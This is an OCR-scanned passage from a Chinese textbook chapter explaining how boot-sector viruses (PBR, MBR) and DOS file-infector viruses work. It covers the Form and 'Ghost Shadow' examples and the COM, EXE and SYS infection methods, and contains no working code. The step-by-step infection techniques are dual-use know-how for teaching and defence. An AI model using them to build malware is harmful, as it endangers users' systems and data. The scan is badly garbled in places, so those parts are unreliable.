使 用 的 扇 区 ,用 户 以 后 仍然 可 以 用 它 自己 的 数据 覆盖 已 保存 的 引导 记录 。 当 用 户 用 其 他 数 
据 覆 盖 了 保存 的 PBR 后 ,原来 的 PBR 就 丢失 了 。 以 后 从 硬盘 引导 就 会 导致 系统 骨 泪 。 这 
种 崩溃 是 因为 病毒 装 和 人 了 它 错 认为 是 原来 PBR 的 数据 ,并 且 把 控制 传送 给 了 它 自 认 为 的 自 
举例 程 。 如 果 PBR 被 覆盖 ,病毒 就 会 执行 一 堆 垃 圾 机 器 代码 ,而 不 是 原来 的 自 举 例 程 。 

有 些 PBR 病毒 会 防止 出 现 前 面 提 到 的 情况 。 例 如 ,它们 可 能 会 减少 最 后 一 个 分 区 的 大 
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小 ,把 最 后 一 个 扇 区 留 给 自己 使 用 ,并 且 把 原来 的 PBR 记录 保存 在 这 里 。 这 样 ,用 户 就 不 会 
覆盖 原来 的 PBR 分 区 记录 了 。 

(3) 分 区 引导 记录 病毒 的 例子 

Form 病毒 是 一 种 内 存 驻 留 的 引导 记录 感染 病毒 。 它 既 不 感染 文件 ,也 不 像 许 多 其 他 
引导 记录 病毒 一 样 , 它 感染 活动 分 区 的 分 区 引导 记录 ,而 不 是 硬盘 上 的 主 引导 区 记录 。 

当 计 算 机 从 感染 的 软盘 或 硬盘 引导 时 ,Form 就 驻 留 到 内 存 中 。 当 病毒 驻 留 后 , 它 会 去 
感染 访问 的 所 有 非 写 保护 磁盘 。Form 占据 系统 内 存 顶 端的 2KB, 并 且 在 BDA 的 Total 
memory in K-bytes 域 增加 2KB 来 扩大 系统 内 存 大 小 ,从 而 为 它 自 己 保留 空间 。 病 毒 截取 
BIOS 磁盘 系统 服务 提供 者 以 感染 其 他 媒体 。 

在 病毒 安装 到 内 存 后 , 它 检 查 系 统 的 日 期 ,而 且 如 果 是 这 个 月 的 18 日 ,就 会 截取 键盘 系 
统 服务 提供 者 。 然 后 每 次 用 户 按 下 一 个 键 时 ,病毒 就 使 PC 扬声器 发 出 一 个 “ 单 击 ” 声 。 如 
果 键 盘 驱 动 程序 直接 安装 到 计算 机 上 ,这 种 单 击 声 可 能 不 会 出 现 ,但 是 病毒 仍然 会 适当 
传染 。 

病毒 把 原来 的 引导 记录 和 它 的 部 分 可 执行 代码 存放 到 硬盘 的 最 后 一 个 扇 区 ,或 者 软盘 
中 标记 为 损坏 的 艇 。Form 中 包括 以 下 文本 : 


The FORM-Virus sends greeting to everyone who's reading this text .FORM 


doesn't destroy data! Don't panic! F*****S go to Corinne. 


除了 可 能 覆盖 原来 的 引导 扇 区 之 外 ,Form 一 般 不 会 损坏 文件 和 数据 。 

4. 主 引 导 记 录 病 毒 

(1) 硬盘 主 引导 区 记录 

可 以 把 一 个 物理 硬盘 划分 成 多 个 不 同 的 逻辑 盘 , 而 且 还 可 以 为 了 组 织 数据 的 需要 把 一 
块 盘 分 成 多 个 分 区 。 例 如 ,可 以 用 一 个 分 区 存储 不 同 的 操作 系统 ,或 者 在 一 个 分 区 存储 字 处 
理 文件 ,而 在 男 一 个 分 区 存储 程序 ,再 用 一 个 分 区 存储 游戏 。 

主 引导 区 记录 (MBR) 是 存储 于 硬盘 的 第 一 个 磁道 . 扇 区 、 磁 头 的 一 个 结构 ,每 个 物理 硬 
盘 都 正好 包含 一 个 MBR。MBR 中 包含 一 个 分 区 表 , 它 代表 所 有 扇 区 及 其 各 自分 区 的 分 配 。 
程序 需要 用 硬盘 上 的 分 区 表 ( 就 像 它 们 需要 软盘 上 的 BIOS 参数 一 样 ) 理解 磁盘 的 特征 , 例 
如 硬盘 上 存在 多 少 个 分 区 ( 即 逻 辑 盘 ) 。 

MBR 还 包含 一 个 硬盘 启动 时 使 用 的 自 举 程序 。MBR 的 自 举例 程 类 似 于 软盘 的 自 举 例 
程 , 它 负 责 装 和 人 默认 的 操作 系统 ,并 且 把 计算 机 引导 到 可 用 状态 。 

硬盘 的 MBR 成 为 攻击 目标 有 两 个 原因 。 首 先 ,在 所 有 PC 硬盘 的 同一 个 物理 位 置 上 只 
包含 一 个 硬盘 主 引 导 区 记录 。 因 此 ,病毒 编写 者 可 以 方便 地 编写 出 几乎 能 够 在 市 场 任何 
PC 上 起 作用 的 病毒 。 其 次 , 当 计 算 机 从 硬盘 引导 时 , MBR 中 的 自 举例 程 总 是 要 装 人 执行 
的 。 如 果 病 毒 用 它 自己 的 MBR 自 举例 程 代替 原来 的 MBR 自 举例 程 ,在 每 次 系统 引导 时 它 
都 会 执行 。 在 系统 引导 期 间 , 在 任何 基于 软件 的 反 病 毒 程序 有 机 会 装 入 并 保护 系统 之 前 , 病 
毒 会 完全 控制 计算 机 。 

(2) 主 引导 记录 区 病毒 

绝 大 多 数 软盘 引导 区 记录 (FBR) 病 毒 感染 硬盘 的 主 引 导 区 记录 (MBR)。 实 质 上 MBR 
病毒 是 另 一 种 形式 的 FBR 病毒 , 它 驻 留 在 硬盘 的 主 引 导 区 记录 中 而 不 是 软盘 的 引导 区 记录 
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中 。 就 像 FBR 和 PBR 病毒 一 样 ,在 MBR 病毒 被 激活 以 前 , 它 要 在 引导 时 被 装 和 人 并 执行 。 

主 引 导 区 记录 病毒 比分 区 引导 记录 病毒 更 普遍 。 在 PBR 病毒 感染 前 , 它 必须 查找 分 区 
表 找 到 活动 分 区 ,然后 确定 活动 分 区 的 引导 扇 区 ,并 且 感 染 引 导 扇 区 。MBR 病毒 的 感染 过 
程 没有 这 么 复杂 。 

在 硬盘 引导 期 间 ,ROM BIOS 引导 程序 从 连接 到 计算 机 的 基本 硬盘 中 装 人 MBR。 它 
然后 验证 MBR 在 扇 区 的 最 后 是 否 有 正确 的 特征 标记 ,如 果 是 这 样 的 话 , 它 就 把 控制 传送 给 
MBR 的 自 举 程序 。 

在 一 个 已 感染 的 MBR 中 ,病毒 感染 的 自 举 例 程 会 代替 原来 的 自 举 例 程 。 在 ROM 
BIOS 引导 程序 把 控制 传送 给 MBR 自 举 程序 的 时 候 ,病毒 就 得 到 了 控制 权 。 一 般 的 MBR 
病毒 把 它 自己 安装 为 内 存 驻 留 服 务 提供 者 ,就 像 FBR 和 PBR 病毒 一 样 。 

大 多 数 MBR 病毒 在 带 毒 的 自 举 例 程 中 维护 原来 分 区 表 的 一 份 准确 副本 ,因为 DOS 和 
许多 应 用 程序 需要 这 一 信息 来 确定 计算 机 上 可 用 的 逻辑 盘 。 然 而 ,有 些 病毒 可 能 不 会 在 
MBR 中 维护 一 份 有 效 的 分 区 表 。 任 何 时 候 当 DOS 和 其 他 程序 请 求 硬盘 的 MBR 时 ,这 种 
类 型 病毒 安装 的 驻 留 内 存 的 服务 提供 者 就 会 隐藏 感染 ,并 且 用 原来 有 效 的 MBR 和 分 区 表 
的 副本 提供 给 请 求 的 程序 。 

一 般 的 MBR 病毒 就 像 FBR 和 PBR 病毒 感染 一 样 ,也 需要 把 原来 MBR 的 一 份 副 本 保 
存 到 硬盘 的 某 个 地 方 。 以 后 ,在 计算 机 从 已 感染 的 硬盘 引导 并 且 病 毒 把 它 自己 安装 为 驻 留 
的 服务 提供 者 之 后 ,病毒 就 要 装 人 原来 的 MBR 并 把 控制 传送 给 这 个 MBR 的 自 举例 程 。 原 
来 MBR 的 自 举 例 程 也 就 能 够 装 入 活动 分 区 的 PBR ,进行 正常 引导 。 

有 些 病毒 不 会 在 磁盘 的 某 个 地 方 保存 原来 的 MBR ,在 这 种 情况 下 ,病毒 会 包含 与 原来 
的 MBR 相同 的 自 举 功能 。 病 毒 完全 赁 自己 把 活动 分 区 的 PBR 装 入 ,并 把 控制 传送 给 该 
PBR ,完全 越过 了 原来 MBR 的 自 举 程序 。 

用 于 大 多 数 硬 盘 的 磁盘 分 区 软件 (FDISK ) 在 硬盘 MBR 之 后 会 留 下 一 个 磁道 的 未 用 扇 
区 。 一 般 的 MBR 选择 其 中 的 一 个 扇 区 存放 原来 的 MBR ,因为 这 些 扇 区 在 大 多 数 系统 中 是 
不 使 用 的 。 

通常 ,一 类 病毒 会 把 原来 的 MBR 存放 在 这 一 区 域 的 同一 位 置 。 相 应 的 病毒 程序 总 是 
可 以 从 这 一 区 域 的 同一 个 扇 区 存放 和 取得 MBR。 

MBR 病毒 以 与 FBR 和 PBR 病毒 同样 的 方式 把 自己 安装 成 一 个 内 存 驻 留 的 服务 提供 
者 。 作 为 磁盘 服务 提供 者 ,任何 时 候 当 用 户 或 操作 系统 要 访问 某 个 磁盘 时 ,病毒 就 能 够 控制 
计算 机 。 通 常情 况 下 ,病毒 会 等 待 对 软盘 的 访问 ,并且 在 对 软盘 进行 其 他 合法 访问 时 它 就 要 
感染 软盘 。 

MBR 病毒 把 原来 的 主 引导 记录 存放 在 硬盘 第 一 个 磁道 的 某 个 地 方 , 因 为 病毒 没有 检查 
就 假设 这 部 分 空间 可 以 用 于 它 自己 的 目标 。 不幸 的 是 ,并 不 总 是 这 种 情况 。 许 多 不 同 的 磁 
盘 管 理 和 访问 控制 包 都 把 它们 自己 的 自 举 程序 和 数据 存放 在 这 一 区 域 。 如 果 病 毒 盲目 地 把 
原来 MBR 的 一 份 副 本 保存 到 这 里 , 它 就 可 能 会 覆盖 磁盘 驱动 器 ,在 以 后 的 引导 中 引起 系统 
前 溃 。 

如 果 用 户 从 一 块 未 感染 的 软盘 引导 并 且 要 访问 硬盘 ,这 样 做 就 不 可 能 成 功 。 病 毒 无 法 
隐藏 对 分 区 表 的 修改 ,因为 它 没有 驻 留 在 内 存 中 。 如 果 感 染 的 MBR 不 包含 相应 的 分 区 表 ， 
DOS 就 会 拒绝 它 访 问 硬盘 。 
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(3) MBR 病毒 的 例子 

2010 年 3 月 15 日 ,金山 安全 实验 室 捕 获 一 种 被 命名 为 “ 鬼 影 ?的 电脑 病毒 ,该 病毒 寄生 
在 磁盘 主 引 导 记 录 (MBR) ,即使 格式 化 重 装 系统 ,也 无 法 将 该 病毒 清除 。 当 系统 再 次 重启 
时 ,该 病毒 会 早 于 操作 系统 内 核 先 行 加 载 。 而 当 病毒 成 功 运行 后 ,在 进程 中 .系统 启动 加 载 
项 里 找 不 到 任何 异常 ,病毒 就 像 ” 鬼 影 ” 一 样 在 中 毒 电 脑 上 “阴魂 不 散 ”。“ 鬼 影 " 病 毒 的 主要 
代码 是 寄生 在 硬盘 的 主 引 导 记 录 (MBR) ,在 电脑 启动 过 程 中 先 于 系统 核心 程序 直接 加 载 到 
电脑 内 存 中 运行 。 对 于 已 经 寄生 于 MBR 中 的 病毒 ,安全 软件 无 法 进行 拦截 ,因为 病毒 比 安 
全 软件 的 启动 还 要 早 。“ 鬼 影 ? 病 毒 是 国内 首 个 引导 区 下 载 者 病毒 ,颠覆 了 传统 病毒 的 感染 
村 点 以 及 用 户 处 理 病毒 问题 的 思维 定式 ,不 仅 做 到 了 ”三 无 ?特性 一 一 无 文件 .无 系统 启动 
项 .无 进程 模块 ,而 且 即 使 用 户 重 装 了 系统 ,该 病毒 依然 会 再 次 进入 用 户 新 系统 。 该 病毒 使 
用 全 新 的 病毒 技术 ,突破 了 普通 杀毒 软件 的 自 保护 ,“ 鬼 影 ” 病 毒 可 以 说 是 一 个 具有 “划时代 ” 
和 寺 征 的 电脑 病毒 。 

“和 鬼 影 ?病毒 是 近年 来 较为 罕见 的 技术 型 病毒 ,病毒 作者 具有 高 超 的 编程 技巧 。 因 
Windows XP 系统 的 限制 ,一般 手法 改写 MBR 会 被 系统 判定 为 非法 ,这 也 是 引导 区 病毒 接 
近 消 亡 的 重要 因素 。 这 种 绕 过 Windows XP 的 安全 限制 ,直接 改写 MBR 的 技术 主要 在 国 
外 技术 论坛 传播 ,在 “和 鬼 影 ?病毒 之 前 ,这 一 技术 很 少 有 被 黑客 实际 大 规模 利用 的 案例 。 目 前 
“和 鬼 影 ?病毒 只 针对 Windows XP 系统 ,该 病毒 尚 不 能 破坏 Vista 和 Windows 7 系统 。 

综 上 所 述 ,引导 型 病毒 具有 隐蔽 性 强 .兼容 性 强 等 优点 ,作为 一 个 好 的 病毒 程序 是 不 容 
易 被 发 现 的 ,其 通用 于 DOS, Windows 95 操作 系统 。 但 它 的 缺点 也 很 多 ,如 传染 速度 慢 , 一 
定 要 有 带 毒 软盘 启动 才能 传 到 硬盘 ,杀毒 容易 ,只 需 改 写 引 导 区 即 可 ,如 使 用 命令 : fdisk/ 
mbr 或 kv3000/k。KV3000 能 查 出 所 有 引导 型 病毒 ,主板 能 对 引导 区 写 保 护 ,所 以 现在 单 
纯 的 引导 型 病毒 已 经 很 少 了 。 


7.3.2 文件 型 病毒 


文件 型 病毒 使 用 可 执行 文件 作为 传播 的 媒介 。 它 们 使 用 DOS 中 3 种 基本 的 可 执行 文 
件 格 式 : COM 文件 EXE 文件 和 SYS 文件 中 的 一 种 或 多 种 格式 作为 攻击 目标 。 

这 种 基本 文件 病毒 通过 把 它 自己 的 一 份 副本 附加 到 一 种 未 感染 的 可 执行 程序 中 ,从 而 
进行 复制 。 然 后 它 修改 这 种 新 的 宿主 程序 ,以 便当 程序 执行 时 病毒 能 够 首先 执行 。 

大 多 数 文件 病毒 都 很 容易 被 反 病 毒 程序 检测 和 清除 。 首 先 ,除了 一 部 分 例外 ,大 多 数 文 
件 病毒 都 在 或 接近 可 执行 文件 的 入 口 点 处 感染 。 入 口 点 是 文件 中 操作 系统 开始 执行 程序 的 
地 方 。 感 染 入 口 点 能 够 保证 当 程序 执行 时 病毒 能 够 控制 计算 机 。 不 感染 可 执行 程序 入 口 点 
的 病毒 不 能 保证 获得 对 计算 机 的 控制 。 病 毒 可 能 把 它 自己 插入 程序 的 数据 部 分 ,从 而 到 程 
序 结束 也 不 会 执行 ,这 种 病毒 会 破坏 或 改变 宿主 程序 的 行为 。 但 这 种 感染 可 执行 程序 数据 
部 分 和 其 他 感染 程序 中 任意 位 置 的 问题 不 会 吸引 病毒 编写 者 的 兴趣 。 

只 有 用 户 或 操作 系统 执行 这 种 入 口 点 被 病毒 感染 的 文件 时 它 才 能 控制 计算 机 。 也 就 是 
说 ,只 要 被 感染 的 文件 不 执行 ,它们 是 无 害 的 ,它们 可 以 被 复制 .查看 和 删除 而 不 会 引起 
问题 。 

病毒 可 以 根据 可 执行 文件 类 型 (COM ,EXE 或 SYS) 选 择 程序 文件 的 感染 方法 。 下 面 
介绍 几 种 一 般 程 序 文件 感染 技术 。 
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1. COM 文件 的 感染 

COM 文件 格式 是 DOS 可 执行 文件 格式 中 最 简单 的 一 种 : COM 文件 的 装 人 过 程 也 是 
最 简单 的 ,DOS 直接 把 程序 读 和 内存, 然后 跳 到 程序 映射 中 的 第 一 条 指令 (第 一 个 字 节 ) 。 
当 进 行 这 个 动作 时 ,这 个 程序 就 完全 控制 了 计算 机 ,直到 它 最 后 终止 时 把 控制 返回 给 DOS。 

2. 前 置 型 COM 病毒 

文件 型 病毒 通过 在 可 执行 文件 映射 的 前 部 指令 来 感染 COM 文件 。 病 毒 能 够 保证 它 至 


少 以 4 种 不 同 的 方式 获得 控制 ,因为 COM 文件 的 感染 之 后 的 宿主 
执行 必须 从 可 执行 文件 映射 的 第 一 个 字 节 开始 。 未 感染 COM 的 宿主 前 置 病毒 
首先 ,一 种 病毒 可 以 把 它 自 己 插 入 COM 文件 的 前 B8 12 34 80... B8 12 34 80... 
部 ,把 原来 的 程序 移 到 病毒 代码 的 后 面 。 整 个 病 IE 

毒 就 被 放 到 可 执行 文件 映射 的 前 部 , 当 程序 装 入 原来 的 宿主 原来 的 宿主 
时 它 就 会 首先 执行 。 这 种 感染 方法 称 为 前 置 , 因 

为 病毒 把 它 自己 放 到 宿主 COM 程序 的 开始 处 ,如 图 7-1 前 置 型 COM 病毒 感染 

图 7-1 所 示 。 


3. 后 置 型 COM 病毒 

病毒 可 以 在 COM 文件 的 可 执行 文件 映射 前 不 修改 机 器 语言 程序 以 便 把 控制 传送 给 病 
毒 , 这 样 病毒 就 可 以 放 到 可 执行 文件 的 其 他 地 方 。 病 毒 经 常 把 它 自己 附加 到 被 感染 程序 的 
最 后 ,而 只 修改 可 执行 文件 映射 到 前 面 的 几 条 指令 ,这 样 就 可 以 把 控制 传送 给 病毒 代码 。 

在 病毒 改变 程序 的 前 几 条 指令 前 , 它 必须 记录 宿主 程序 的 原来 人 口 指令 , 这 样 它 完成 后 
就 可 以 修复 宿主 程序 。 如 果 不 保存 这 些 指 令 的 话 , 当 病毒 把 控制 传送 给 宿主 程序 时 ,PC 很 
可 能 会 朋 溃 和 工作 不 正常 ,从 而 破坏 病毒 隐藏 的 企图 。 这 种 感染 方法 称 为 后 置 , 因 为 病毒 把 
它 的 代码 放 到 宿主 程序 的 最 后 ,如 图 7-2 所 示 。 


感染 之 后 的 宿主 
未 感染 COM 的 宿主 跳 转 到 | 80 BC... 
B8 12 34 80 BC... 病毒 代码 宿主 COM 的 前 3 
来 的 宿主 y 
原来 的 宿主 人 


病毒 代码 | 原来 的 宿主 字 节 
B8 12 34 


图 7-2 后 置 型 COM 病毒 感染 


4. 覆盖 型 COM 病毒 
用 于 感染 COM 文件 的 第 三 种 技术 称 为 覆盖 。 使 用 这 种 技术 编写 的 病毒 通常 感染 能 力 
感染 之 后 的 宿主 很 强 。 它 们 用 病毒 代码 完全 和 覆盖 宿主 程序 的 开始 
覆盖 型 部 分 来 感染 COM 程序 ,如 图 7-3 所 示 。 它 们 不 会 
保存 宿主 程序 中 被 覆盖 字 节 的 副本 。 结 果 , 病 毒 
执行 后 原来 的 程序 不 能 工作 。 如 果 一 个 计算 机 被 
这 种 类 型 病毒 感染 ,修复 被 感染 文件 唯一 的 办 法 
图 7-3 窗 盖 型 COM 病毒 感染 是 使 用 感染 前 的 备份 来 恢复 。 


未 感染 COM 的 宿主 


病毒 


原来 的 宿主 | -| 。 宇和 的 


“2 全 


覆盖 型 病毒 感染 程序 文件 之 后 ,程序 可 能 会 骨 溃 ,也 可 能 显示 一 则 假 的 出 错 消 息 , 如 没 
有 足够 内 存 执行 程序 。 显 示 这 样 的 出 错 消 息 是 为 了 让 用 户 相信 PC 有 内 存 管 理 问题 而 不 是 
存在 病毒 。 

5. 改进 的 覆盖 型 COM 病毒 

用 于 感染 COM 程序 的 最 后 一 种 方法 称 为 改进 的 覆盖 。 假 定 病毒 是 V 字 节 长 ,病毒 会 
首先 读 取 宿主 程序 的 前 V 个 字 节 ,然后 把 这 一 信息 附加 到 宿主 程序 的 最 后 。 接 下 来 病毒 使 
用 自己 的 V 字 节 代码 覆盖 COM 程序 的 前 部 ,如 图 7-4 所 示 。 在 病毒 完成 其 执行 后 会 修复 
宿主 程序 并 使 之 正常 执行 ,因为 未 感染 的 宿主 程序 的 信息 已 被 保存 。 

未 感染 COM 的 宿主 感染 之 后 的 宿主 


B8 12 34 80... 改进 的 覆盖 
75 F2 30 CC... 病毒 上 字 节 长 
原来 的 宿主 原来 宿主 的 最 后 
五 字 节 长 部 分 太太 字 节 长 原来 的 


宿 3 
B8 12 23 80... | 一 前 
字 


人 
75 F230.CC.. 节 


图 7-4 改进 的 覆盖 型 COM 病毒 


这 些 方法 中 每 一 个 都 会 在 COM 文件 的 入 口 点 修改 机 器 语言 指令 ,以 保证 被 感染 的 程 
序 一 经 装 人 执行 就 使 病毒 获得 对 计算 机 的 控制 。 它 还 意味 着 如 果 COM 文件 感染 了 病毒 ， 
病毒 扫描 程序 只 能 扫描 到 它 的 有 限 部 分 (病毒 扫描 机 制 将 在 7.5.2 节 详 细 介绍 ) 。 

6. EXE 文件 的 感染 

尽管 病毒 使 用 多 种 方法 感染 COM 文件 ,感染 EXE 格式 文件 只 有 一 种 方法 。EXE 文件 
有 一 个 入 口 点 变量 , 它 通过 程序 头 标 的 代码 段 (CS) 和 指令 指针 (IP) 标 识 , 如 图 7-5 所 示 。 在 
EXE 感染 最 一 般 的 形式 中 ,病毒 完成 以 下 操作 序列 。 


VCS= 病 毒 CS . 
未 感染 的 .EXE 文 件 a 感染 之 后 


MZ 
VCS | NP 
M2 | cs | P | 
大 小 +V 
a 新 的 装 
装 入 映射 入 口 点 入 映射 
入 口 点 一 
太 字 节 六 一 一 病毒 人 口 


图 7-5 ”EXE 文件 感染 前 后 


(1) 在 宿主 程序 中 记录 宿主 程序 自己 的 原来 入口 点 ,这 样 它 以 后 就 可 以 正常 执行 宿主 
程序 。 

(2) 把 它 自 己 的 一 份 副本 附加 到 宿主 程序 的 最 后 。 

(3) 在 EXE 文件 的 头 标 改 变 入 口 点 (使 用 CS 和 IP 域 ) 以 指向 病毒 代码 。 

(4) 在 头 标 中 改变 其 他 域 ,包括 程序 的 装 入 映射 大 小 域 以 反映 病毒 的 存在 。 
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注意 映射 大 小 如 何 被 增加 了 病毒 的 大 小 V。 还 要 注意 CS 和 IP 域 指针 现在 指向 病毒 
而 不 是 指向 原来 的 程序 。 

这 种 感染 方法 保证 一 旦 可 执行 文件 映射 装 入 内 存 并 执行 ,病毒 就 能 得 到 控制 。 就 像 
COM 文件 一 样 , 它 也 使 得 病毒 的 扫描 更 加 方便 。 反 病毒 程序 也 可 以 方便 地 确定 EXE 文件 
的 入 口 点 ,这 样 就 限制 了 扫描 病毒 的 时 间 域 范围 。 

7. SYS 文件 感染 

SYS 文件 格式 很 独特 , 它 有 两 个 人 口 点 : Interrupt 和 Strategy。 当 操作 系统 在 引导 期 
间 装 入 文件 时 ,这 两 个 人 口 点 都 独立 地 执行 。 当 用 户 装 和 人 感染 的 SYS 文件 时 ,病毒 可 以 感 
染 每 一 个 人 口 点 来 控制 计算 机 ,如 图 7-6 所 示 。 这 两 个 人 口 点 都 在 设备 驱动 器 文件 的 头 标 
中 标识 ,因此 ,SYS 文件 的 感染 过 程 类 似 于 EXE 文件 的 感染 过 程 。 

设备 驱动 器 感染 病毒 要 完成 以 下 动作 序列 。 

(1) 选择 它 要 修改 的 程序 人 口 点 : Strategy,Interrupt 或 者 两 者 都 有 。 

(2) 在 宿主 程序 中 记录 宿主 程序 自己 原来 的 入口 点 ,这 样 它 以 后 就 可 以 执行 原来 的 
Strategy 或 Interrupt 例 程 。 

(3) 把 它 自 己 的 一 份 副本 附加 到 宿主 程序 的 最 后 。 

(4) 在 SYS 头 标 中 改变 这 两 个 人 口 点 中 的 一 个 或 两 个 ,使 之 指向 病毒 代码 。 


未 感染 的 SYS 文体 感染 之 后 
FFFF FFFF 一 一 一 一 FFFF FFFF 
Strategy 指 针 设备 头 病毒 Strategy 

Se 病毒 Interruption 

EE Strategy 例 程 
Interrupt 例 程 
Strategy 例 程 病毒 Strategy 例 程 


图 7-6 SYS 文件 感染 前 后 


简单 一 点 说 , 当 用 户 或 操作 系统 执行 被 感染 的 程序 时 ,SYS 文件 感染 病毒 就 得 到 了 计 
算 机 的 控制 。 在 大 多 数 情 况 下 ,病毒 会 修改 宿主 程序 ,以 便当 程序 执行 时 它 能 立即 得 到 
控制 。 

当 用 户 执 行 一 个 被 感染 的 程序 时 ,DOS 会 把 整个 程序 装 入 内 存 , 病 毒 也 包括 在 内 ,并 且 
从 入 口 点 开始 执行 程序 。 在 被 感染 的 文件 中 ,病毒 会 修改 入 口 点 的 位 置 或 入 口 点 的 机 器 代 
码 以 便 病毒 首先 执行 。 

在 病毒 的 机 器 代码 开始 执行 后 , 它 立即 开始 寻找 并 感染 计算 机 中 其 他 可 执行 程序 ,或 者 
它 把 自己 建立 为 操作 系统 中 的 内 存 驻 留 的 服务 提供 者 。 作 为 一 个 服务 提供 者 , 当 操作 系统 
或 其 程序 由 于 某 些 原因 执行 、 复 制 和 访问 它们 时 ,病毒 就 会 感染 这 些 可 执行 文件 。 

文件 感染 病毒 分 为 直接 操作 和 内 存 驻 留 文件 感染 病毒 两 种 。 被 感染 的 文件 一 执行 , 直 
接 操作 文件 感染 病毒 就 会 感染 目录 上 或 硬盘 上 某 个 地 方 的 其 他 程序 文件 。 

内 存 驻 留 文件 感染 病毒 使 用 类 似 于 引导 感染 病毒 使 用 的 方法 把 自己 装 入 计算 机 内 存 
中 。 首 先 , 这 个 病毒 要 检查 它 是 否 已 经 作为 系统 服务 提供 者 把 它 自己 插入 到 内 存 中 了 。 用 
户 可 能 有 许多 已 感染 的 程序 ,每 一 个 程序 都 为 病毒 提供 了 不 同 的 机 会 ,使 得 病毒 在 计算 机 会 
话 期 间 把 自己 装 入 内 存 中 (引导 记录 病毒 不 关心 这 个 问题 ,因为 它们 只 在 系统 引导 期 间 安装 
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一 次 。 病 毒 不 会 故意 地 多 次 把 自己 插入 内 存 中 作为 服务 提供 者 ) 。 

如 果 病 毒 确定 了 计算 机 内 存 中 没 它 自 己 的 副本 , 它 就 会 把 自己 安装 为 驻 留 的 服务 提 
供 者 。 

一 旦 一 个 已 感染 的 程序 和 写 入 这 个 程序 的 病毒 启动 执行 ,直接 操作 文件 感染 病毒 就 会 
感染 其 他 可 执行 程序 。 当 病毒 完成 感染 其 他 可 执行 程序 后 , 它 就 会 把 控制 传送 给 宿主 程序 ， 
并 允许 宿主 程序 执行 。 除 了 覆盖 型 病毒 以 外 的 所 有 病毒 都 是 这 样 ,覆盖 型 病毒 在 感染 期 间 
会 破坏 宿主 程序 。 

用 户 可 能 会 注意 到 启动 被 感染 的 程序 时 增加 的 磁盘 活动 ,因为 被 感染 的 程序 一 启动 直 
接 操作 病毒 就 必须 搜索 磁盘 找到 其 他 要 感染 的 程序 。 

用 户 也 可 能 注意 到 程序 装 入 和 执行 时 比 以 前 花费 的 时 间 更 长 了 。 随 着 更 多 的 文件 被 感 
染 ,病毒 必须 搜索 越 来 越 多 的 硬盘 (或 软盘 ) 以 找到 要 感染 的 新 文件 。 这 有 时 可 能 要 花 几 分 
钟 , 明 显 表 示 出 了 问题 。 

DOS 提供 了 系统 服务 ,以 便 系统 有 效 地 遍历 硬盘 上 的 许多 项 目 和 目录 。 直 接 操作 病毒 
使 用 与 文件 查找 程序 定位 包含 特定 文本 串 相 同 的 方式 来 利用 这 些 服务 定位 要 感染 的 新 
文件 。 

有 些 直接 操作 病毒 只 在 当前 目录 下 搜索 要 感染 的 新 文件 ,其 他 直接 操作 病毒 可 能 要 感 
染 硬盘 或 DOS 路 径 下 的 每 一 个 文件 。 

例如 一 个 简单 的 直接 操作 病毒 , 它 感染 硬盘 中 当前 目录 下 的 文件 。 如 果 当 前 目录 是 
C:\DOS de \DOS\FORMAT. COM 程序 (一 份 感染 病毒 的 副本 ) 来 格式 化 软 
盘 , 直 接 操 作 病 毒 立即 会 得 到 控制 。 直 接 操 作 病 毒 系统 将 检查 C:\DOS 目录 下 的 每 一 个 文 
件 ,为 了 确定 a ed ea 例如 ,任何 时 
候 当 直接 操作 病毒 感染 了 一 个 新 程序 , 它 就 会 把 这 个 程序 的 日 期 和 时 间 戳 改 为 一 个 特定 的 
日 期 和 时 间 。 当 病毒 以 后 启动 并 找到 有 这 种 日 期 和 时 间 特 性 的 程序 时 , 它 就 会 越过 这 个 程 
序 , 认 为 这 个 程序 已 经 被 感染 。 

使 用 这 种 技术 ,病毒 可 能 会 无 意 地 跳 过 一 些 未 被 感染 的 程序 ,这 些 程序 碰巧 有 这 个 特殊 
的 日 期 时 间 设 置 。 然 而 ,即使 程序 只 感染 了 找到 程序 的 10%, 它 仍然 可 以 对 用 户 和 存储 在 
PC 中 的 数据 构成 一 种 威胁 。 

其 他 文件 病毒 会 检查 它们 遇 到 的 每 一 个 可 执行 程序 的 内 容 。 病 毒 通过 在 程序 中 查找 它 
自己 设置 的 记号 来 识别 它 是 否 已 经 感染 过 该 目标 程序 了 。 同 样 ,病毒 可 能 同样 会 无 意 跳 过 
一 些 未 感染 的 程序 ,而 它 错误 地 认为 已 经 感染 了 这 个 程序 。 另 一 方面 ,病毒 不 需要 百分之百 
地 感染 磁盘 中 的 程序 。 

直接 操作 病毒 还 必须 确定 它 所 定位 的 当前 文件 是 否 属于 要 感染 的 类 型 。 许 多 病毒 只 感 
染 COM 文件 或 EXE 文件 ,但 是 不 会 两 者 都 感染 。 如 果 一 个 直接 操作 COM 感染 病毒 要 感 
染 EXE 程序 , 它 很 可 能 使 这 个 程序 骨 溃 。 

在 病毒 确定 它 已 经 找到 了 一 个 类 型 正确 的 未 被 感染 的 程序 之 后 , 它 就 开始 进行 感染 。 
大 多 数 感染 EXE 程序 的 病毒 使 用 “EXE 文件 感染 ?部 分 介绍 的 he 大 多 数 感 染 
COM 文件 的 病毒 要 么 使 用 前 置 方法 ,要 么 使 用 后 置 方法 。 

病毒 感染 了 目标 文件 之 后 , 它 就 把 控制 传送 给 宿主 程序 ;然而 ,一 些 直 接 操作 病毒 一 
感染 多 个 程序 。 有 时 这 种 病毒 要 感染 当前 目录 下 或 硬盘 中 的 每 个 程序 。 
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直接 操作 病毒 执行 后 , 它 会 有 效 地 把 自己 从 内 存 中 清除 。 因 此 ,如 果 用 户 在 执行 完 感染 
的 程序 后 再 执行 任何 未 感染 的 程序 ,这些 程序 不 会 被 感染 。 

内 存 驻 留 文件 病毒 的 工作 方式 类 似 于 相应 的 引导 记录 病毒 。 当 一 个 被 感染 的 程序 启动 
时 ,病毒 会 把 它 自己 安装 成 操作 系统 中 的 内 存 驻 留 服 务 提 供 者 。 从 这 时 开始 ,任何 时 候 当 
DOS 或 其 他 程序 要 读 、 写 执行 或 访问 一 个 程序 时 ,病毒 就 会 控制 计算 机 。 

接 下 来 , 当 用 户 引用 程序 文件 时 病毒 就 会 感染 它们 。 例 如 ,每 次 用 户 执行 一 个 程序 时 ， 
就 会 向 DOS 发 出 一 个 系统 服务 请 求 ,要 求 把 程序 装 入 内 存 执行 。 如 果 病 毒 实时 内 存 驻 留 ， 
它 就 会 在 这 个 DOS 请 求 时 得 到 控制 。 在 病毒 了 解 了 服务 请 求 后 , 它 就 会 感染 这 个 程序 ,并 
